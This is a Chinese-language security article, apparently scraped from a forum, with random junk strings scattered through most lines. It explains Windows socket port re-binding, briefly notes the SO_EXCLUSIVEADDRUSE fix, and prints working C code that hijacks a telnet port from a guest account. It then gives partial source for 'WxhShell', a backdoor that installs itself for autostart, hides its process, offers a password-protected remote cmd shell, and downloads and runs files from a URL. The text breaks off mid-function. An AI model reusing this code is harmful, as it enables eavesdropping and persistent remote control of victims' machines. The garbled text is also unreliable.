在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
KU]o=\ak% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
p7r/`_'| ~$"2,& saddr.sin_family = AF_INET;
k{UeY[,jb b&LAk-}[ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
l5KO_"hy 27$,D XD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
d/~g3n>| Xw7'I 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
* >8EMq\^ yq^Ma 这意味着什么?意味着可以进行如下的攻击:
n%4/@M (-&d0a9N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
hv\Dz*XTs0 Y}<%~z#.4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
YV@efPy}n B##X94aTT 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z;RUxe|<k JAXD\StC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
mF jM6pmo AS;qJ)JfzQ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@';.$ Aq3\Q>klH) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
&Vgpv#&Cfx wp>
z04
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
@>V;guJC% DZ`m{l3H #include
~oT*@ #include
RU~ku{8? #include
S'hUh'PZ #include
*yjnC DWORD WINAPI ClientThread(LPVOID lpParam);
/4+(e I7 int main()
LNHi}P~ {
{ w sT WORD wVersionRequested;
v'S5F@ln DWORD ret;
b`^Q ':^A WSADATA wsaData;
:g^
mg-8 BOOL val;
WY!4^<|w" SOCKADDR_IN saddr;
f#w
u~*c SOCKADDR_IN scaddr;
1KBGML-K3 int err;
WjM7s]ZRv SOCKET s;
(+/d*4 SOCKET sc;
NuD|%Ebs int caddsize;
{>~9?Xwh HANDLE mt;
`<M>"~W DWORD tid;
RgQs`aI wVersionRequested = MAKEWORD( 2, 2 );
`+>K)5hrR err = WSAStartup( wVersionRequested, &wsaData );
2+~gZxHq if ( err != 0 ) {
:Q@/F;Z? printf("error!WSAStartup failed!\n");
:XG~AR/ return -1;
%2g<zdab }
1<_/Qu>V saddr.sin_family = AF_INET;
AYNdV( ,u)jZ7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
H6|eUU[& =adHP|S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0\B{~1(^ saddr.sin_port = htons(23);
0_MtmmL. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RtpV08s\ {
W g6H~x printf("error!socket failed!\n");
iemp%~UZ return -1;
$gD8[NAIx= }
SPt/$uYJ val = TRUE;
|g!d[ct] //SO_REUSEADDR选项就是可以实现端口重绑定的
N2duhI6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u#Jr_ze {
c%gL3kOT printf("error!setsockopt failed!\n");
jC{KI!kPt return -1;
TO"Md["GI }
83gWA>Odh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eNVuw: Q+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
u'>94Gm} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
A>2 _I) k,k>w#& if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P R3Arfle {
6pbCQ
q ret=GetLastError();
,u PcQ printf("error!bind failed!\n");
$j<KXR return -1;
QHf&Z*Xtl }
>][D" listen(s,2);
cBZEyy& while(1)
!Hl] & {
l!&ik9m caddsize = sizeof(scaddr);
9!W$S[ABRB //接受连接请求
xy"'8uRi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$/;K<*O$ if(sc!=INVALID_SOCKET)
2.b,8wT/ {
m|c[C\)By mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
vgD+Y if(mt==NULL)
GQ7uxdqWBQ {
NlKVl~_ C printf("Thread Creat Failed!\n");
/WE\0bf break;
*vuI'EbM }
uW=G1 *n- }
O#=%t CloseHandle(mt);
GJrmK }
L+<h5>6 closesocket(s);
2Ki_d WSACleanup();
ThI}~$Y return 0;
9 i/
( }
$8%"bR;Hu DWORD WINAPI ClientThread(LPVOID lpParam)
Y<irNp9 {
R]&Csr#~ SOCKET ss = (SOCKET)lpParam;
e(|Z<6 SOCKET sc;
-bHlFNRm unsigned char buf[4096];
1Kk6nUIN SOCKADDR_IN saddr;
Abt<23$h long num;
PS+~JwD Uc DWORD val;
NLG\*mQ DWORD ret;
4\
Xaou2V[ //如果是隐藏端口应用的话,可以在此处加一些判断
-$[&{.B. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?u@jedQ saddr.sin_family = AF_INET;
=f{v:n6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
rz
k;Q@1 saddr.sin_port = htons(23);
Zp~yemERr if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6WGg_x?3 {
}P.Z}n;Uj printf("error!socket failed!\n");
EGQgrwY5 return -1;
/r"<:+ }
".(vR7u' val = 100;
D_czUM if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\WE&5
9G {
M.- {-> ret = GetLastError();
?dCwo;~ return -1;
&|#[.ti1 }
n-" (~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ka\{?:r,8 {
W3/bM>1 ret = GetLastError();
$KGMAg/H return -1;
!uW*~u }
*S:~U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
89 (qU {
0h*Le printf("error!socket connect failed!\n");
6` TwP\!$/ closesocket(sc);
J*$%d1 closesocket(ss);
$$1t4=Pz return -1;
"}*D,[C5e }
|;wc8; while(1)
gI;"P kN {
)c' 45bD //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
\\KjiT' //如果是嗅探内容的话,可以再此处进行内容分析和记录
^?+[yvq //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
P{6$".kIY num = recv(ss,buf,4096,0);
Rq5'=L if(num>0)
'!7>*< send(sc,buf,num,0);
'%[ Y else if(num==0)
goIvm:? break;
c2M num = recv(sc,buf,4096,0);
{&IB[Y6 if(num>0)
;98b SR/ send(ss,buf,num,0);
7UMZs7L$ else if(num==0)
0HoHu*+FX break;
aM;SE9/U }
:) lG}c
closesocket(ss);
|di(hY| closesocket(sc);
S=!WFKcJR return 0 ;
?`Yu~a{ }
.k]`z>uv ?I[8rzBWU lTMY|{9 ==========================================================
s"`~Xnf v7
*L3Ol
下边附上一个代码,,WXhSHELL
nXLz<wE B&6NjLV ==========================================================
=?6c&Z 2MRd #include "stdafx.h"
OVi<d Ul_Zn #include <stdio.h>
Ol RXgJ #include <string.h>
4@{cK| #include <windows.h>
d/Q#Z #include <winsock2.h>
F~
5,-atDM #include <winsvc.h>
3LLG#l)8 #include <urlmon.h>
qS/}aDk& 7 mCf*| #pragma comment (lib, "Ws2_32.lib")
5:IDl1f5 #pragma comment (lib, "urlmon.lib")
-eF-r=FR {kk%_q #define MAX_USER 100 // 最大客户端连接数
//2O#Fg{/ #define BUF_SOCK 200 // sock buffer
?pW1}:z
#define KEY_BUFF 255 // 输入 buffer
72OqXa* @Z
==B%` #define REBOOT 0 // 重启
1 Q(KZI #define SHUTDOWN 1 // 关机
&S{r;N5u
,XEIg #define DEF_PORT 5000 // 监听端口
3)EJws! s`bGW1#io #define REG_LEN 16 // 注册表键长度
Ur
xiaE #define SVC_LEN 80 // NT服务名长度
;m7G8)I TUnAsE/J& // 从dll定义API
iN
Oj@3x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w<`0D)mQ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
I2$DlEke typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{k3ItGQ_ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=m2_:&@0x f
X[xZGV, // wxhshell配置信息
E,Rj;? struct WSCFG {
UF!qp int ws_port; // 监听端口
d*d:-f~q char ws_passstr[REG_LEN]; // 口令
3O2G+G2 int ws_autoins; // 安装标记, 1=yes 0=no
/=p[k^A char ws_regname[REG_LEN]; // 注册表键名
]H !ru char ws_svcname[REG_LEN]; // 服务名
940:NOgm char ws_svcdisp[SVC_LEN]; // 服务显示名
PG63{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
i;1pw_K char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@FN|=?8% int ws_downexe; // 下载执行标记, 1=yes 0=no
/Yy)=~t{ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
p [C
9g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0 MK} (& SU)Uvu };
~6t!)QATnp $vu*# .w // default Wxhshell configuration
%jjPs. struct WSCFG wscfg={DEF_PORT,
e&z@yy$
"xuhuanlingzhe",
%@vF% 1,
2X\Pw "Wxhshell",
-H6[{WVW! "Wxhshell",
BwWSztJ+B "WxhShell Service",
MTtx|L\4 "Wrsky Windows CmdShell Service",
ej-A=avd "Please Input Your Password: ",
%JE>Z] 1,
(SRY(q "
http://www.wrsky.com/wxhshell.exe",
2V)+ba|+ "Wxhshell.exe"
VEh9N };
F9o7=5WAb / rc[HbNg. // 消息定义模块
}dzdx " char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
/*y5W-'d^ char *msg_ws_prompt="\n\r? for help\n\r#>";
?-)!dl%N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`Jc/ o=] char *msg_ws_ext="\n\rExit.";
X+]>pA char *msg_ws_end="\n\rQuit.";
lZ-U/$od char *msg_ws_boot="\n\rReboot...";
S3Y.+. 0U char *msg_ws_poff="\n\rShutdown...";
,N(Yjq"R char *msg_ws_down="\n\rSave to ";
nnj<k5 <8b1OdA char *msg_ws_err="\n\rErr!";
(U& char *msg_ws_ok="\n\rOK!";
-SM_JR3< 5bt>MoKxv char ExeFile[MAX_PATH];
i6KfH\{N int nUser = 0;
> mO*.' Gm HANDLE handles[MAX_USER];
N 5*Qnb8 int OsIsNt;
4tCM2it% nv_v FK SERVICE_STATUS serviceStatus;
!4a fU: SERVICE_STATUS_HANDLE hServiceStatusHandle;
v]( Y n)# eI$V2 // 函数声明
?{ExBZNa int Install(void);
CO`)XB6W int Uninstall(void);
! eZls int DownloadFile(char *sURL, SOCKET wsh);
wU+r]SK@ int Boot(int flag);
E\!X$ void HideProc(void);
\~*<[.8~ int GetOsVer(void);
:u,.(INB int Wxhshell(SOCKET wsl);
D:Q#%wJ void TalkWithClient(void *cs);
Vq+7 /+2" int CmdShell(SOCKET sock);
R)66qRf int StartFromService(void);
*eoH"UFYQ# int StartWxhshell(LPSTR lpCmdLine);
d/9YtG%q 0]SWyC
: VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ikc1,o VOID WINAPI NTServiceHandler( DWORD fdwControl );
eI:[o ? #rXc%F // 数据结构和表定义
oY^I|FEOz SERVICE_TABLE_ENTRY DispatchTable[] =
G~5pMyOR {
|2l-s 1|y {wscfg.ws_svcname, NTServiceMain},
)oCL![^pXe {NULL, NULL}
q2E{o)9 };
aPelt` >}* W$i // 自我安装
M
v(Pp int Install(void)
SvSO?H!- {
#S?^?3d char svExeFile[MAX_PATH];
%8n<#0v-|4 HKEY key;
u*@R`,Y
strcpy(svExeFile,ExeFile);
! :]_-DX ht2Fie // 如果是win9x系统,修改注册表设为自启动
Cw(e7K7& if(!OsIsNt) {
7_ix&oVI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z)C}}NH*!@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
4uiq'- RegCloseKey(key);
i6V$m hL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6#U~>r/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]!AS%D` RegCloseKey(key);
iXm&\.% return 0;
~k&b }
U6/7EOW, }
Jt5V{9:(' }
ltuV2.$ else {
/= ;,lC [`GSc6j // 如果是NT以上系统,安装为系统服务
+=J$:/&U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
r[V%DU$dj if (schSCManager!=0)
5Hu[* {
anW['!T9{s SC_HANDLE schService = CreateService
w3(G!: (
/FN:yCf schSCManager,
~JT2el2W7p wscfg.ws_svcname,
Ij(<(y{?Q1 wscfg.ws_svcdisp,
Ll=G+cw6P SERVICE_ALL_ACCESS,
W~mo*EJ'^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
q#3T
L< SERVICE_AUTO_START,
V|
Fo@ SERVICE_ERROR_NORMAL,
c)#7T<>*' svExeFile,
q.=Q NULL,
1!^BcrG. NULL,
~}b0zL NULL,
n3$=& NULL,
c(=>5 NULL
=7+%31 );
Oz%6y
ri if (schService!=0)
#|E#Rkw! {
neu+h6#H CloseServiceHandle(schService);
A>gZl)c CloseServiceHandle(schSCManager);
%q|*}l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"^z%|uXkf strcat(svExeFile,wscfg.ws_svcname);
x,^-a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ZOfv\(iJ; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
m~Pk]~j RegCloseKey(key);
.eIs$ return 0;
g5|&6+t. }
"m^gCN}c }
OT\D;Z"__I CloseServiceHandle(schSCManager);
ynA_Z^j }
c{Z
"'t7 }
Mk#r_:[BS nX:E(9q7c return 1;
"}_J"% }
,5zY1C==Ut Kc[^Pu // 自我卸载
OF<:BaRs/ int Uninstall(void)
d"n>Q Tn\ {
^*l
dsc HKEY key;
C2R"96M7q >e!J(4.- if(!OsIsNt) {
KOe]JDU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=*'yGB[x) RegDeleteValue(key,wscfg.ws_regname);
;cf$u}+ RegCloseKey(key);
!y_L~81? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)>h3IR RegDeleteValue(key,wscfg.ws_regname);
&5K3AL RegCloseKey(key);
Y&b Yaq return 0;
6%p6BK6 }
CL2zZk{u_ }
]uFJ~:R }
>A D!)&c else {
e-`9-U%6 /{buFX2"} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
hub]M if (schSCManager!=0)
@XG1d)sE {
iyCH)MA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
x=rMjz-`_ if (schService!=0)
EB&hgz&_ {
MX~h>v3_R4 if(DeleteService(schService)!=0) {
\
&|xMw[ CloseServiceHandle(schService);
'KmM%tN CloseServiceHandle(schSCManager);
7|=SZ+g return 0;
!Dc?9W!b }
$xW9)) CloseServiceHandle(schService);
&kdW(;` }
!Yo2P" CloseServiceHandle(schSCManager);
XC6 |<pru }
'exR;q\ }
/|U;_F Pmc +xIVlH9`Q return 1;
2Ax(q&`9 }
dKPXs-5 axnVAh|}S // 从指定url下载文件
]NaH *\q int DownloadFile(char *sURL, SOCKET wsh)
JT}"CuC {
O~8jz HRESULT hr;
Wp
=
]YO char seps[]= "/";
Yw=@*CK' char *token;
o&q:b9T char *file;
A*qR<cp[ char myURL[MAX_PATH];
`vt+VUNf
char myFILE[MAX_PATH];
r9}(FL/)b (~\HizSl strcpy(myURL,sURL);
:Hitx token=strtok(myURL,seps);
xs6!NY while(token!=NULL)
evEdFY {
S~ckIN] file=token;
|(x%J[n0+ token=strtok(NULL,seps);
8B6(SQp% }
U{EcV%C2 oSYJXs GetCurrentDirectory(MAX_PATH,myFILE);
eYRd#w strcat(myFILE, "\\");
Zu#^a|PE* strcat(myFILE, file);
vKoQ!7g send(wsh,myFILE,strlen(myFILE),0);
}6u}?>S send(wsh,"...",3,0);
'GW~~UhdW hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T:'<:*pD if(hr==S_OK)
q\P{h ij return 0;
*@lVesC2 else
Q%'4jn?H return 1;
;YokPiBy :[?7,/w }
Yc[vH=gV} NB3+kf , // 系统电源模块
BThrv$D} int Boot(int flag)
q=cnY+p> {
Y]&2E/oc HANDLE hToken;
A\/DAVnI TOKEN_PRIVILEGES tkp;
IwXQbJ3v_ )q!dMZ( if(OsIsNt) {
vG}\Amx+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sWA-_ 4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1iqgTi> tkp.PrivilegeCount = 1;
vEt=enQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
pTQ7woj} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
_NuHz if(flag==REBOOT) {
F+zHgE if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
!k'E return 0;
*Q [%r }
t P'._0n0 else {
*Q-uE if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'&AeOn return 0;
V-%jSe< }
o9D#d\G }
S ="\ S else {
OlW5k`B if(flag==REBOOT) {
X|TGM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
SX?hu|g_r return 0;
tPJU,e) }
w&^Dbme else {
;cv\v(0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)1 0aDTlr return 0;
OJ\j6owA }
a$11u.\q+ }
PVq y\i pkIJbI{aS return 1;
g>?,,y6/w }
&fxyY( cpq0'x\ // win9x进程隐藏模块
O,&p"K&Z void HideProc(void)
%[?{H} y {
Q`h@-6N 8
=3#S'n HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
[HRP&jr if ( hKernel != NULL )
SsL>K*t5 {
r)w]~)8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,-1taS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
}WNgKw FreeLibrary(hKernel);
I}
]s( }
oM}P Wf- )Vy}oFT\ return;
]\=M$:,RZ }
g;nPF*( uc;,JX!bN // 获取操作系统版本
X 2('@Yh int GetOsVer(void)
J{#C<C {
W-"FRTI4 OSVERSIONINFO winfo;
`ucr;P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
(@*#Pn|A GetVersionEx(&winfo);
>\ ym{@+* if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
sv>c)L}I return 1;
A$'rT|>se else
%lK]m`( return 0;
7w|4BRL }
Dmk~t="Y ~gbq^ // 客户端句柄模块
HuL9' M int Wxhshell(SOCKET wsl)
L5>.ku=T {
9y"\]G77E SOCKET wsh;
,OO0*% struct sockaddr_in client;
r`=!4vY2 DWORD myID;
!7kca#,X N5GQ2V while(nUser<MAX_USER)
qg-?Z,EB {
Xn8r3Nb$A int nSize=sizeof(client);
DvXbbhp wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(AgM7H0 if(wsh==INVALID_SOCKET) return 1;
gcs8Gl2 DU[vLe|Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@y\M8C8 if(handles[nUser]==0)
J3=^+/g closesocket(wsh);
.zyi'Kj else
y>m=A41:g nUser++;
8:0.Pi(ln@ }
9Lxa?Y1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,ffH:3F KbF,jm5 return 0;
9/S-=VOe.t }
U_c9T> = s@bo df& // 关闭 socket
X5D}<J2" void CloseIt(SOCKET wsh)
(}n,Ou[ {
jJCd2O] closesocket(wsh);
A
ptzBs/ nUser--;
e?~6HP^%. ExitThread(0);
z+B"RV }
3YPoObY CVBy&o"6A // 客户端请求句柄
R`|GBVbv void TalkWithClient(void *cs)
[2cG 7A {
Vg4N7i Y)4&PN~[ SOCKET wsh=(SOCKET)cs;
/\M3O char pwd[SVC_LEN];
0/JusQ char cmd[KEY_BUFF];
:Keek-E`e= char chr[1];
!pLQRnI}6 int i,j;
Obu>xK( 0dgp< while (nUser < MAX_USER) {
g"sW_y_O 3 aG?^z if(wscfg.ws_passstr) {
!j?2HlIK+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_/5mgn<GK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H{CG/+x //ZeroMemory(pwd,KEY_BUFF);
E7qk>~Dg i=0;
,0=:06l while(i<SVC_LEN) {
"+V.Yue`R @'EU\Y\l // 设置超时
n +z5;'my fd_set FdRead;
Am?
d HP struct timeval TimeOut;
W[Ro) FD_ZERO(&FdRead);
n-n{+Dl! FD_SET(wsh,&FdRead);
vHPp$lql TimeOut.tv_sec=8;
n089tt=TE TimeOut.tv_usec=0;
z@3t>k|K int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/>zE$)'M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
a:tCdnK/ jn9KQe\3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
iWZrZ5l pwd
=chr[0]; D?3^>h
if(chr[0]==0xd || chr[0]==0xa) { Yvu!Q
pwd=0; \j]i"LpWb
break; 0x\bDWZ_
} gUB%6v G\I
i++; -&*
4~
} OXuBtW*,z+
q8{)27f,
// 如果是非法用户,关闭 socket C-abc+/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UmSy p\i
}
K$dSg1t
|A#pG^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @e_ bG@
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *94<rlh{"
tTB,eR$
while(1) { Z!P7mH\c}
c1?_L(
ZeroMemory(cmd,KEY_BUFF); )8:Ltn%
Re{vO&.
// 自动支持客户端 telnet标准 +KV`+zic+
j=0; J?~El&
while(j<KEY_BUFF) { XP"lqyAi
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =r=YV-D.
cmd[j]=chr[0]; <T[wZ[l
if(chr[0]==0xa || chr[0]==0xd) { [kIiKLX
cmd[j]=0; FDA``H~
break; )Fh+6
} B`xrdtW
j++; Fcc\hV;
} %o4ZD7@ '
Pwn3/+"%K
// 下载文件 l.c*,9
if(strstr(cmd,"http://")) { |gW>D=rkj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); FabzP_<b
if(DownloadFile(cmd,wsh)) mX9amS&B$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GRK+/1C
else #MbkU])
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RG9YA&1ce
} I5l5fx
else { )DS|mM)
r
wtU@xsD
switch(cmd[0]) { 6\7bE$K
dC$z q~q
// 帮助 6px(]QU
case '?': { -s5j^U{h|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [eebIJs
break; d|!FI/
} 2 HNKq<
// 安装 (,wIbwa
case 'i': { ^u@"L
if(Install()) {2EIvKu3:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )aov]Ns
else FA}dKE=c
Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |kPjjVGF{
break; '%.:97
} N^\<y7x
// 卸载 ,Q8[Ur?G
case 'r': { rz%8Vigb
if(Uninstall()) xx`xDD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3^<rff3Gc
else mhZ{}~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K}e%E&|>
break; &eL02:[
} $9!2c /
// 显示 wxhshell 所在路径 ^Oy97Y
case 'p': { 1 ]Q;fe
char svExeFile[MAX_PATH]; N8!V%i?
strcpy(svExeFile,"\n\r"); F<K;tt
strcat(svExeFile,ExeFile); cI~uI'
send(wsh,svExeFile,strlen(svExeFile),0); f3Zm_zxj
break; 4PtRTb0<i3
} 0x&-/qce6W
// 重启 hXBAs*4DV8
case 'b': { i^SuVca
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TYv'#{
if(Boot(REBOOT)) J?]wA1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k1l\Rywp
else { kjVUG >e>
closesocket(wsh); cZB?_[Cp
ExitThread(0); tk'1o\@p9b
} $T.u Iq
break; N8hiv'3
} I$.HG]
// 关机 w$Zi'+&*
case 'd': { 0w M2v[^YO
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c2Q KI~\x
if(Boot(SHUTDOWN)) q~esxp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ass :
else { 6#[
closesocket(wsh); ]S@zhQ
ExitThread(0); RLy(Wz3%
} -|0nZ
break; BbU%p
} aQjs5RbP~
// 获取shell 05o)Q &`
case 's': { :G3PdQb^
CmdShell(wsh); GM_~2Er]
closesocket(wsh); +rAmy
ExitThread(0); -;NGS
)RM
break; hkS0 ae
} bTBV:]w
// 退出 H7{)"P]{f
case 'x': { >6Y@8 )
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tu5g> qb
CloseIt(wsh); %rE:5)
break; /e/%mo
} 3jSt&+
// 离开 I+08tXO
case 'q': { yvIeK6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); G>siyUh
closesocket(wsh); B* 0TM+
WSACleanup(); Y-yozt
exit(1); Dj?84y
break; l k~VvRq
} &>nB@SQZ
} O*Gg57a
} O`?qnNmc;
(,nQ7,2EX
// 提示信息 k4N_Pa$}\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` nd/N#
} 77 g<`}{
} [3K& cX}B
pc/x&VY%
return; \#50;
8VJ
} xG_LEk( zD
[TX1\*W
// shell模块句柄 mafnkQU
int CmdShell(SOCKET sock) 91f{qq=#J{
{ V^* ];`^
STARTUPINFO si; YR'dl_
ZeroMemory(&si,sizeof(si)); ,xSNTOJ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; e1<9:h+
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =EJ8J;y_f
PROCESS_INFORMATION ProcessInfo; |WkWZZ^
char cmdline[]="cmd"; V; pRw`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1tZ7%0R\g]
return 0; X%C`('"R
} 7sX#6`t
B4
k5IS
// 自身启动模式 *A&A V||q
int StartFromService(void) PF+ F^;C
{ @23?II$=@
typedef struct I K9plsd*
{ Oj=g;iY
DWORD ExitStatus; wZUZ"Y}9
DWORD PebBaseAddress; #]rfKHW9
DWORD AffinityMask; G;ihm$Cad
DWORD BasePriority; QLm#7ms*y
ULONG UniqueProcessId; ,+P2B%2c
ULONG InheritedFromUniqueProcessId; 'G1~
A +
